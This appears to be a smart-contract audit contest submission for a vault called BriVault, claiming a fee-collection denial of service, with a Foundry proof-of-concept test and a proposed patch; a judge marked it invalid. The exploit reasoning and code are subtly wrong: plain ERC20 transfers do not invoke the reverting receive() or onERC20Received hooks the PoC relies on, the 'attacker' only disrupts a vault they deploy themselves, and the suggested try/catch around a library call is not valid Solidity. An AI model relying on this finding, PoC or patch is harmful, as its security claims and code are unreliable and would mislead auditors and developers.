BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Fee Collection Dependency DoS

Root + Impact

Description

  • The BriVault deposit function creates a critical single point of failure through unguarded external contract dependency on ParticipationFeeAddress. If this external contract becomes non-payable (reverts on transfer), all deposit transactions will fail, creating a complete DoS of the tournament participation mechanism.

  • In normal operation, users deposit assets into the vault and pay participation fees that are collected by the protocol. However, the current implementation directly transfers fees to an external ParticipationFeeAddress contract without any error handling or fallback mechanisms.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
uint256 fee = _getParticipationFee(assets);
@> IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee); // UNGUARDED EXTERNAL CALL
// If above fails, entire deposit reverts - complete DoS
// ... rest of deposit logic never executes
}

Risk

Likelihood: High

Multple realistic attack vectors exist:

  • Contract Self-Destruct: ParticipationFeeAddress self-destructs, becoming non-payable

  • Gas Limit: Contract runs out of gas during receive function

  • Insolvency: Contract cannot handle received tokens properly

  • Cross-Protocol: If ParticipationFeeAddress is shared across protocols, attacking one affects all

Impact: High

Complete protocol DoS with severe economic consequences:

  • Participation Blockage: No users can join tournaments

  • Tournament Failure: Insufficient participation leads to cancellation

  • Fund Lock: Users cannot access their deposited assets

  • Economic Loss: Tournament economics completely destroyed

  • Protocol Downtime: External dependency failure affects entire system

Proof of Concept

The POC demonstrates how an attacker can create a complete denial-of-service of tournament participation by deploying a vault with a malicious fee collector contract that always reverts on token transfers. It shows that when users attempt to deposit assets, the unguarded external call to transfer participation fees fails, causing all deposit transactions to revert. The test verifies that legitimate users cannot participate in tournaments when the fee collection mechanism is compromised by external contract failure.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../../repo/src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* PoC: Fee Collection Dependency DoS
* Severity: High
* Impact: Complete tournament participation DoS through external contract failure
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
/**
* Malicious contract that always reverts on receiving tokens
* Simulates a compromised or malfunctioning fee collection contract
*/
contract MaliciousFeeCollector {
receive() external payable {
revert("Fee collection blocked - DoS attack");
}
function onERC20Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
revert("Fee collection blocked - DoS attack");
}
}
contract FeeCollectionDependencyDoSTest is Test {
BriVault vault;
MockERC20 asset;
MaliciousFeeCollector maliciousCollector;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address participant1 = makeAddr("participant1");
address participant2 = makeAddr("participant2");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
maliciousCollector = new MaliciousFeeCollector();
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
// Setup user balances and approvals
asset.mint(attacker, 1000 ether);
asset.mint(participant1, 1000 ether);
asset.mint(participant2, 1000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(participant1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(participant2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
/**
* Normal operation: Fee collection works when external contract is functional
*/
function testNormalFeeCollection() public {
vm.startPrank(participant1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, participant1);
vm.stopPrank();
// Verify successful deposit and fee collection
assertEq(vault.stakedAsset(participant1), 198 ether); // 200 - 2 ether fee
assertEq(asset.balanceOf(feeRecipient), 2 ether); // Fee collected
}
/**
* Attack: Deploy vault with malicious fee collector that always reverts
*/
function testFeeCollectionDoS() public {
// Attacker deploys vault with malicious fee collector
vm.startPrank(attacker);
BriVault maliciousVault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
address(maliciousCollector), // DoS vector
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
maliciousVault.setCountry(countries);
vm.stopPrank();
// All deposit attempts fail due to fee collection DoS
vm.startPrank(participant1);
vm.warp(EVENT_START - 1 hours);
vm.expectRevert(); // deposit() reverts due to fee transfer failure
maliciousVault.deposit(200 ether, participant1);
vm.stopPrank();
vm.startPrank(participant2);
vm.expectRevert(); // deposit() reverts due to fee transfer failure
maliciousVault.deposit(200 ether, participant2);
vm.stopPrank();
// Verify no deposits succeeded - complete DoS
assertEq(maliciousVault.stakedAsset(participant1), 0);
assertEq(maliciousVault.stakedAsset(participant2), 0);
assertEq(maliciousVault.numberOfParticipants(), 0);
assertEq(asset.balanceOf(address(maliciousVault)), 0);
}
}

Recommended Mitigation

Replace external dependency with protocol-owned vault that always accepts fees.

- function deposit(uint256 assets, address receiver) public override returns (uint256) {
- uint256 fee = _getParticipationFee(assets);
-
- // ❌ External call with no error handling
- IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
-
- // If above fails, entire deposit reverts
- // ... rest of deposit logic never executes
- }
+ function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ uint256 fee = _getParticipationFee(assets);
+
+ // Try fee collection, but don't fail if it doesn't work
+ try IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee) {
+ // Fee collected successfully
+ } catch {
+ // Fee collection failed - log but continue
+ emit FeeCollectionFailed(participationFeeAddress, fee);
+ }
+
+ // Continue with deposit regardless of fee collection status
+ // ... rest of deposit logic
+ }
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!